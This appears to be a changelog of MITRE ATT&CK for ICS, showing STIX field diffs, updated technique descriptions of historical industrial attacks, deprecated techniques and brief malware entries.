| > | to seize control of operator workstations and access a dist | > | ty without an impending tornado or other disaster. (Citation | ||
| > | ribution management system (DMS) client application via a VP | > | :ZDNet Dallas April 2017) (Citation:StateScoop Dallas March | ||
| > | N. The adversaries used these tools to issue unauthorized co | > | 2019) | ||
| > | mmands to breakers at substations which caused a loss of pow | ||||
| > | er to over 225,000 customers over various areas. (Citation: | ||||
| > | Ukraine15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may send unauthorized command messages to instruct control systems devices to perform actions outside their expected functionality for process control. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808) In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries used valid credentials to seize control of operator workstations and access a distribution management system (DMS) client application via a VPN. The adversaries used these tools to issue unauthorized commands to breakers at substations which caused a loss of power to over 225,000 customers over various areas. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808) In the Dallas Siren incident, adversaries were able to send command messages to activate tornado alarm systems across the city without an impending tornado or other disaster. (Citation:ZDNet Dallas April 2017) (Citation:StateScoop Dallas March 2019) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T855 | https://collaborate.mitre.org/attackics/index.php/Technique/T0855 |
| external_references[1]['source_name'] | Research - Research - Taxonomy Cyber Attacks on SCADA | StateScoop Dallas March 2019 |
| external_references[1]['description'] | Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018. | Benjamin Freed. (2019, March 13). Tornado sirens in Dallas suburbs deactivated after being hacked and set off. Retrieved November 6, 2020. |
| external_references[1]['url'] | http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258 | https://statescoop.com/tornado-sirens-in-dallas-suburbs-deactivated-after-being-hacked-and-set-off/ |
| external_references[2]['source_name'] | Ukraine15 - EISAC - 201603 | Research - Research - Taxonomy Cyber Attacks on SCADA |
| external_references[2]['description'] | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018. | Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018. |
| external_references[2]['url'] | https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf | http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258 |
| external_references[3]['source_name'] | Maroochy - MITRE - 200808 | Ukraine15 - EISAC - 201603 |
| external_references[3]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018. |
| external_references[3]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf |
| x_mitre_data_sources[0] | Alarm history | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Sequential event recorder | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Netflow/Enclave netflow | Operational Databases: Process History/Live Data |
| x_mitre_data_sources[3] | Packet capture | Operational Databases: Process/Event Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'} | |
| external_references | {'source_name': 'ZDNet Dallas April 2017', 'description': "Zack Whittaker. (2017, April 12). Dallas' emergency sirens were hacked with a rogue radio signal. Retrieved November 6, 2020.", 'url': 'https://www.zdnet.com/article/experts-think-they-know-how-dallas-emergency-sirens-were-hacked/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may rely on a targeted organizations’ user inter | t | 1 | Adversaries may rely on a targeted organizations' user inter |
| > | action for the execution of malicious code. User interaction | > | action for the execution of malicious code. User interaction | ||
| > | may consist of installing applications, opening email attac | > | may consist of installing applications, opening email attac | ||
| > | hments, or granting higher permissions to documents. Adver | > | hments, or granting higher permissions to documents. Adver | ||
| > | saries may embed malicious code or visual basic code into fi | > | saries may embed malicious code or visual basic code into fi | ||
| > | les such as Microsoft Word and Excel documents or software i | > | les such as Microsoft Word and Excel documents or software i | ||
| > | nstallers. (Citation: BlackEnergy - Booz Allen Hamilton) Exe | > | nstallers. (Citation: BlackEnergy - Booz Allen Hamilton) Exe | ||
| > | cution of this code requires that the user enable scripting | > | cution of this code requires that the user enable scripting | ||
| > | or write access within the document. Embedded code may not a | > | or write access within the document. Embedded code may not a | ||
| > | lways be noticeable to the user especially in cases of troja | > | lways be noticeable to the user especially in cases of troja | ||
| > | nized software. (Citation: Havex - F-Secure) | > | nized software. (Citation: Havex - F-Secure) A Chinese spear | ||
| > | phishing campaign running from December 9, 2011 through Febr | ||||
| > | uary 29, 2012 delivered malware through spearphishing attach | ||||
| > | ments which required user action to achieve execution.(Citat | ||||
| > | ion: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 20 | ||||
| > | 21) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may rely on a targeted organizations’ user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: BlackEnergy - Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Havex - F-Secure) | Adversaries may rely on a targeted organizations' user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: BlackEnergy - Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Havex - F-Secure) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012 delivered malware through spearphishing attachments which required user action to achieve execution.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T863 | https://collaborate.mitre.org/attackics/index.php/Technique/T0863 |
| x_mitre_data_sources[0] | Anti-virus | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | File: File Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021', 'description': 'ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'} | |
| x_mitre_data_sources | Network Traffic: Network Connection Creation | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may steal the credentials of a specific user or | t | 1 | Adversaries may steal the credentials of a specific user or |
| > | service account using credential access techniques. In some | > | service account using credential access techniques. In some | ||
| > | cases, default credentials for control system devices may be | > | cases, default credentials for control system devices may be | ||
| > | publicly available. Compromised credentials may be used to | > | publicly available. Compromised credentials may be used to | ||
| > | bypass access controls placed on various resources on hosts | > | bypass access controls placed on various resources on hosts | ||
| > | and within the network, and may even be used for persistent | > | and within the network, and may even be used for persistent | ||
| > | access to remote systems. Compromised and default credential | > | access to remote systems. Compromised and default credential | ||
| > | s may also grant an adversary increased privilege to specifi | > | s may also grant an adversary increased privilege to specifi | ||
| > | c systems and devices or access to restricted areas of the n | > | c systems and devices or access to restricted areas of the n | ||
| > | etwork. Adversaries may choose not to use malware or tools, | > | etwork. Adversaries may choose not to use malware or tools, | ||
| > | in conjunction with the legitimate access those credentials | > | in conjunction with the legitimate access those credentials | ||
| > | provide, to make it harder to detect their presence or to co | > | provide, to make it harder to detect their presence or to co | ||
| > | ntrol devices and send legitimate commands in an unintended | > | ntrol devices and send legitimate commands in an unintended | ||
| > | way. Adversaries may also create acc | > | way. Adversaries may also create accounts, sometimes using p | ||
| > | ounts, sometimes using predefined account names and password | > | redefined account names and passwords, to provide a means of | ||
| > | s, to provide a means of backup access for persistence. (Cit | > | backup access for persistence.(Citation: BlackEnergy - Booz | ||
| > | ation: BlackEnergy - Booz Allen Hamilton) | > | Allen Hamilton) The overlap of credentials and permissions | ||
| > | The overlap of credentials and permissions across a net | > | across a network of systems is of concern because the advers | ||
| > | work of systems is of concern because the adversary may be a | > | ary may be able to pivot across accounts and systems to reac | ||
| > | ble to pivot across accounts and systems to reach a high lev | > | h a high level of access (i.e., domain or enterprise adminis | ||
| > | el of access (i.e., domain or enterprise administrator) and | > | trator) and possibly between the enterprise and operational | ||
| > | possibly between the enterprise and operational technology | > | technology environments. Adversaries may be able to leverage | ||
| > | environments. Adversaries may be able to leverage valid cred | > | valid credentials from one system to gain access to another | ||
| > | entials from one system to gain access to another system. I | > | system. | ||
| > | n the 2015 attack on the Ukranian power grid, the adversarie | ||||
| > | s used valid credentials to interact directly with the clien | ||||
| > | t application of the distribution management system (DMS) se | ||||
| > | rver via a VPN and native remote access services to access e | ||||
| > | mployee workstations hosting HMI applications. (Citation: Uk | ||||
| > | raine15 - EISAC - 201603) The adversaries caused outages at | ||||
| > | three different energy companies, causing loss of power to o | ||||
| > | ver 225,000 customers over various areas. (Citation: Ukraine | ||||
| > | 15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence. (Citation: BlackEnergy - Booz Allen Hamilton) The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system. In the 2015 attack on the Ukranian power grid, the adversaries used valid credentials to interact directly with the client application of the distribution management system (DMS) server via a VPN and native remote access services to access employee workstations hosting HMI applications. (Citation: Ukraine15 - EISAC - 201603) The adversaries caused outages at three different energy companies, causing loss of power to over 225,000 customers over various areas. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence.(Citation: BlackEnergy - Booz Allen Hamilton) The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T859 | https://collaborate.mitre.org/attackics/index.php/Technique/T0859 |
| x_mitre_data_sources[0] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Process monitoring | User Account: User Account Authentication |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T860 | https://collaborate.mitre.org/attackics/index.php/Technique/T0860 |
| x_mitre_data_sources[0] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Packet capture | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network intrusion detection system | Logon Session: Logon Session Creation |
| x_mitre_platforms[0] | Windows | Control Server |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Field Controller/RTU/PLC/IED | |
| x_mitre_platforms | Input/Output Server |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may seek to achieve a sustained loss of control | t | 1 | Adversaries may seek to achieve a sustained loss of control |
| > | or a runaway condition in which operators cannot issue any c | > | or a runaway condition in which operators cannot issue any c | ||
| > | ommands even if the malicious interference has subsided. (Ci | > | ommands even if the malicious interference has subsided.(Cit | ||
| > | tation: Reference - Corero) (Citation: Reference - SANS - 20 | > | ation: Reference - Corero)(Citation: Reference - SANS - 2015 | ||
| > | 1510) (Citation: Reference - RIoT) Contributors: Dragos Thr | > | 10)(Citation: Reference - RIoT) The German Federal Office fo | ||
| > | eat Intelligence | > | r Information Security (BSI) reported a targeted attack on a | ||
| > | steel mill in its 2014 IT Security Report.(Citation: BSI IT | ||||
| > | Security Situation 2014) These targeted attacks affected in | ||||
| > | dustrial operations and resulted in breakdowns of control sy | ||||
| > | stem components and even entire installations. As a result o | ||||
| > | f these breakdowns, massive impact resulted in damage and un | ||||
| > | safe conditions from the uncontrolled shutdown of a blast fu | ||||
| > | rnace. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false |
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) Contributors: Dragos Threat Intelligence | Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided.(Citation: Reference - Corero)(Citation: Reference - SANS - 201510)(Citation: Reference - RIoT) The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report.(Citation: BSI IT Security Situation 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T827 | https://collaborate.mitre.org/attackics/index.php/Technique/T0827 |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'BSI IT Security Situation 2014', 'description': 'Bundesamt für Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019.', 'url': 'https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?__blob=publicationFile&v=3'} |
Description: Adversaries may attempt to change the state of the current program on a control device. Program state changes may be used to allow for another program to take over control or be loaded onto the device.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Description: Adversaries may perform control device identification to determine the make and model of a target device. Management software and device APIs may be utilized by the adversary to gain this information. By identifying and obtaining device specifics, the adversary may be able to determine device vulnerabilities. This device information can also be used to understand device functionality and inform the decision to target the environment.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Description: Adversaries may compromise and gain control of a data historian to gain a foothold into the control system environment. Access to a data historian may be used to learn stored database archival and analysis information on the control system. A dual-homed data historian may provide adversaries an interface from the IT environment to the OT environment. Dragos has released an updated analysis on CrashOverride that outlines the attack from the ICS network breach to payload delivery and execution. (Citation: Industroyer - Dragos - 201810) The report summarized that CrashOverride represents a new application of malware, but relied on standard intrusion techniques. In particular, new artifacts include references to a Microsoft Windows Server 2003 host, with a SQL Server. Within the ICS environment, such a database server can act as a data historian. Dragos noted a device with this role should be "expected to have extensive connections" within the ICS environment. Adversary activity leveraged database capabilities to perform reconnaissance, including directory queries and network connectivity checks. Permissions Required: Administrator Contributors: Joe Slowik - Dragos
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T810 | https://collaborate.mitre.org/attackics/index.php/Technique/T0810 |
Description: Adversaries may seek to gather information about the current state of a program on a PLC. State information reveals information about the program, including whether it's running, halted, stopped, or has generated an exception. This information may be leveraged as a verification of malicious program execution or to determine if a PLC is ready to download a new program.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Description: Adversaries will compromise and gain control of an engineering workstation for Initial Access into the control system environment. Access to an engineering workstation may occur through or physical means, such as a Valid Accounts with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to, and control of, other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 16:17:26.506000+00:00 |
| description | Adversaries may compromise and gain control of an engineering workstation as an Initial Access technique into the control system environment. Access to an engineering workstation may occur as a result of remote access or by physical means, such as a person with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to and control of other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. | Adversaries will compromise and gain control of an engineering workstation for Initial Access into the control system environment. Access to an engineering workstation may occur through or physical means, such as a Valid Accounts with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to, and control of, other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T818 | https://collaborate.mitre.org/attackics/index.php/Technique/T0818 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Description: Adversaries may use input/output (I/O) module discovery to gather key information about a control system device. An I/O module is a device that allows the control system device to either receive or send signals to other devices. These signals can be analog or digital, and may support a number of different protocols. Devices are often able to use attachable I/O modules to increase the number of inputs and outputs that it can utilize. An adversary with access to a device can use native device functions to enumerate I/O modules that are connected to the device. Information regarding the I/O modules can aid the adversary in understanding related control processes.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Description: Adversaries may perform location identification using device data to inform operations and targeted impact for attacks. Location identification data can come in a number of forms, including geographic location, location relative to other control system devices, time zone, and current time. An adversary may use an embedded global positioning system (GPS) module in a device to figure out the physical coordinates of a device. NIST SP800-82 recommends that devices utilize GPS or another location determining mechanism to attach appropriate timestamps to log entries (Citation: Guidance - NIST SP800-82). While this assists in logging and event tracking, an adversary could use the underlying positioning mechanism to determine the general location of a device. An adversary can also infer the physical location of serially connected devices by using serial connection enumeration. An adversary attempt to attack and cause Impact could potentially affect other control system devices in close proximity. Device local-time and time-zone settings can also provide adversaries a rough indicator of device location, when specific geographic identifiers cannot be determined from the system.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Description: Adversaries may place malicious code in a system, which can cause the system to malfunction by modifying its control logic. Control system devices use programming languages (e.g. relay ladder logic) to control physical processes by affecting actuators, which cause machines to operate, based on environment sensor readings. These devices often include the ability to perform remote control logic updates. Program code is normally edited in a vendor-specific Integrated Development Environment (IDE) that relies on proprietary tools and features. These IDEs allow an engineer to perform host target development and may have the ability to run the code on the machine it is programmed for. The IDE will transmit the control logic to the testing device, and will perform the required device-specific functions to apply the changes and make them active. An adversary may attempt to use this host target IDE to modify device control logic. Even though proprietary tools are often used to edit and update control logic, the process can usually be reverse-engineered and reproduced with open-source tools. An adversary can de-calibrate a sensor by removing functions in control logic that account for sensor error. This can be used to change a control process without actually spoofing command messages to a controller or device. It is believed this process happened in the lesser known over-pressurizer attacks build into Stuxnet. Pressure sensors are not perfect at translating pressure into an analog output signal, but their errors can be corrected by calibration. The pressure controller can be told what the “real” pressure is for given analog signals and then automatically linearize the measurement to what would be the “real” pressure. If the linearization is overwritten by malicious code on the S7-417 controller, analog pressure readings will be “corrected” during the attack by the pressure controller, which then interprets all analog pressure readings as perfectly normal pressure no matter how high or low their analog values are. The pressure controller then acts accordingly by never opening the stage exhaust valves. In the meantime, actual pressure keeps rising. (Citation: Stuxnet - Langner - 201311) In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808)
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T833 | https://collaborate.mitre.org/attackics/index.php/Technique/T0833 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Description: Network Service Scanning is the process of discovering services on networked systems. This can be achieved through a technique called port scanning or probing. Port scanning interacts with the TCP/IP ports on a target system to determine whether ports are open, closed, or filtered by a firewall. This does not reveal the service that is running behind the port, but since many common services are run on [https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml specific port numbers], the type of service can be assumed. More in-depth testing includes interaction with the actual service to determine the service type and specific version. One of the most-popular tools to use for Network Service Scanning is [https://nmap.org/ Nmap]. An adversary may attempt to gain information about a target device and its role on the network via Network Service Scanning techniques, such as port scanning. Network Service Scanning is useful for determining potential vulnerabilities in services on target devices. Network Service Scanning is closely tied to . Scanning ports can be noisy on a network. In some attacks, adversaries probe for specific ports using custom tools. This was specifically seen in the Triton and PLC-Blaster attacks.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Description: Program Organizational Units (POUs) are block structures used within PLC programming to create programs and projects. (Citation: Guidance - IEC61131) POUs can be used to hold user programs written in IEC 61131-3 languages: Structured text, Instruction list, Function block, and Ladder logic. (Citation: Guidance - IEC61131) Application - 201203 They can also provide additional functionality, such as establishing connections between the PLC and other devices using TCON. (Citation: PLCBlaster - Spenneberg) Stuxnet uses a simple code-prepending infection technique to infect Organization Blocks (OB). For example, the following sequence of actions is performed when OB1 is infected (Citation: Stuxnet - Symantec - 201102): *Increase the size of the original block. *Write malicious code to the beginning of the block. *Insert the original OB1 code after the malicious code.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Description: Adversaries may perform role identification of devices involved with physical processes of interest in a target control system. Control systems devices often work in concert to control a physical process. Each device can have one or more roles that it performs within that control process. By collecting this role-based data, an adversary can construct a more targeted attack. For example, a power generation plant may have unique devices such as one that monitors power output of a generator and another that controls the speed of a turbine. Examining devices roles allows the adversary to observe how the two devices work together to monitor and control a physical process. Understanding the role of a target device can inform the adversary's decision on what action to take, in order to cause Impact and influence or disrupt the integrity of operations. Furthermore, an adversary may be able to capture control system protocol traffic. By studying this traffic, the adversary may be able to determine which devices are outstations, and which are masters. Understanding of master devices and their role within control processes can enable the use of Rogue Master Device
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Description: Adversaries may perform serial connection enumeration to gather situational awareness after gaining access to devices in the OT network. Control systems devices often communicate to each other via various types of serial communication mediums. These serial communications are used to facilitate informational communication, as well as commands. Serial Connection Enumeration differs from I/O Module Discovery, as I/O modules are auxiliary systems to the main system, and devices that are connected via serial connection are normally discrete systems. While IT and OT networks may work in tandem, the exact structure of the OT network may not be discernible from the IT network alone. After gaining access to a device on the OT network, an adversary may be able to enumerate the serial connections. From this perspective, the adversary can see the specific physical devices to which the compromised device is connected to. This gives the adversary greater situational awareness and can influence the actions that the adversary can take in an attack.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Current version: 1.0
Description: [AdFind](https://attack.mitre.org/software/S0552) is a free command-line query tool that can be used for gathering information from Active Directory.(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)
Current version: 1.0
Description: [AppleJeus](https://attack.mitre.org/software/S0584) is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. [AppleJeus](https://attack.mitre.org/software/S0584) has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032), targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. [AppleJeus](https://attack.mitre.org/software/S0584) has been used to distribute the [FALLCHILL](https://attack.mitre.org/software/S0181) RAT.(Citation: CISA AppleJeus Feb 2021)
Current version: 1.0
Description: [AppleSeed](https://attack.mitre.org/software/S0622) is a backdoor that has been used by [Kimsuky](https://attack.mitre.org/groups/G0094) to target South Korean government, academic, and commercial targets since at least 2021.(Citation: Malwarebytes Kimsuky June 2021)
Current version: 1.0
Description: [Avaddon](https://attack.mitre.org/software/S0640) is ransomware written in C++ that has been offered as Ransomware-as-a-Service (RaaS) since at least June 2020.(Citation: Awake Security Avaddon)(Citation: Arxiv Avaddon Feb 2021)
Current version: 1.0
Description: [BADFLICK](https://attack.mitre.org/software/S0642) is a backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065) in spearphishing campaigns first reported in 2018 that targeted the U.S. engineering and maritime industries.(Citation: FireEye Periscope March 2018)(Citation: Accenture MUDCARP March 2019)
Current version: 1.0
Description: [BLINDINGCAN](https://attack.mitre.org/software/S0520) is a remote access Trojan that has been used by the North Korean government since at least early 2020 in cyber operations against defense, engineering, and government organizations in Western Europe and the US.(Citation: US-CERT BLINDINGCAN Aug 2020)(Citation: NHS UK BLINDINGCAN Aug 2020)
Current version: 1.0
Description: [BLUELIGHT](https://attack.mitre.org/software/S0657) is a remote access Trojan used by [APT37](https://attack.mitre.org/groups/G0067) that was first observed in early 2021.(Citation: Volexity InkySquid BLUELIGHT August 2021)
Current version: 1.0
Description: [Babuk](https://attack.mitre.org/software/S0638) is a Ransomware-as-a-service (RaaS) malware that has been used since at least 2021. The operators of [Babuk](https://attack.mitre.org/software/S0638) employ a "Big Game Hunting" approach to targeting major enterprises and operate a leak site to post stolen data as part of their extortion scheme.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: CyberScoop Babuk February 2021)
Current version: 1.0
